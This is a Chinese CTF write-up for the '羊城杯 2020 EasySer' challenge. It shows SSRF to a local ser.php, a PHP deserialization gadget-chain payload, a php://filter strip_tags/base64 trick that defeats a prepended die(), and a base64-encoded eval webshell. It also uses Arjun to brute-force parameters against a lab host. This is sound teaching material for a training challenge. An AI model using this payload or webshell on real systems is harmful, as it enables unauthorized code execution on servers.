[羊城杯 2020]EasySer 1

本文讲述了在Arjun的协助下,通过构造payload绕过`die`函数,利用`__toString`特性进行文件操作,最终在Ubuntu Apache环境中找到并获取flag的过程,涉及伪协议过滤、序列化和反序列化技术。
摘要由CSDN通过智能技术生成
知识点:Arjun爆参,file_put_contents伪协议过滤

审题

点开是个ubuntu版本的apache,没什么用,直接扫波目录。
在这里插入图片描述
扫到两个目录。
在这里插入图片描述
访问robots.txt
在这里插入图片描述
进入star1.php,提示我们要从家进入ser.php,且要是不安全的协议,那么就是http://127.0.0.1/ser.php
在这里插入图片描述

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}
?>

分析

可以看到有个可以写文件的地方在这里插入图片描述
但是,内容中有一个die函数,我们可以用伪协议过滤,过滤掉<?php?>标签,使die(…)成为一个普通文本,可以用string.strip_tags这个过滤器可以过滤html标签,php标签。
在这里插入图片描述
构造payload:

<?php
class GWHT{
    public $hero;
}
class Yongen{ //flag.php
    public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
    public $text="PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==";
}
$b=new GWHT();
$b->hero=new Yongen();//覆盖
echo serialize($b);
?>

虽然在创建对象的时候它自动给hero赋值,但后面我们给他覆盖掉了在这里插入图片描述

绕过die的原理

把内容先用string.strip_tags过滤掉php标签,然后再base64解码

php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

如何找传参的地方?

那么既然有了反序列化payload,那么往哪传呢?参数名叫什么?我们可以用Arjun来爆参
在这里插入图片描述

写入文件
在这里插入图片描述
然后进入所在文件,写shell,拿flag
在这里插入图片描述

__toString原理

既然可以shell,那我们就看一下这边的__toString是怎么触发的
在这里插入图片描述
是因为我们传上去的时候它会反序列化并把值当作字符串echo输出,这样就触发了__toSting

在这里插入图片描述

Arjun的安装和使用

git clone https://github.com/s0md3v/Arjun.git

克隆完直接pip3 install arjun

详细使用:https://github.com/s0md3v/Arjun/wiki/Usage#import-multiple-targets

当然这边直接arjun -u http://b4227c37-f564-4931-8966-88f1b1b12f3a.node4.buuoj.cn:81/star1.php?path=http://127.0.0.1/ser.php -m GET

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值